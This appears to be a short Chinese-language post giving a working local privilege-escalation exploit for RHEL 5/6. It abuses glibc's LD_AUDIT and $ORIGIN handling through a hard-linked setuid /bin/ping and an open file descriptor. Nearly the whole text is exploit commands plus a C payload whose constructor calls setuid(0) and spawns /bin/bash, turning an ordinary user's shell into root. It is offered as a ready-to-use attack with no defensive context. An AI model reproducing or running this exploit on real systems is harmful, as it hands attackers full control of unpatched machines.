需要首先有个普通用户的shell
实验环境:RHEL6.8
应该只针对RHEL 5/6,别的版本没试
如下都是在普通用户下执行的,例如oracle用户
mkdir /tmp/exploit
ln /bin/ping /tmp/exploit/target
exec 3< /tmp/exploit/target
rm -rf /tmp/exploit
vim /tmp/payload.c 编辑文件,写入:
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
gcc -w -fPIC -shared -o /tmp/exploit /tmp/payload.c
使用gcc编译
使用当前的普通用户执行如下,会报错,然后你就会发现shell变成了root
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
注意最后需要在命令行中手动去执行LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3,否则不会进入root#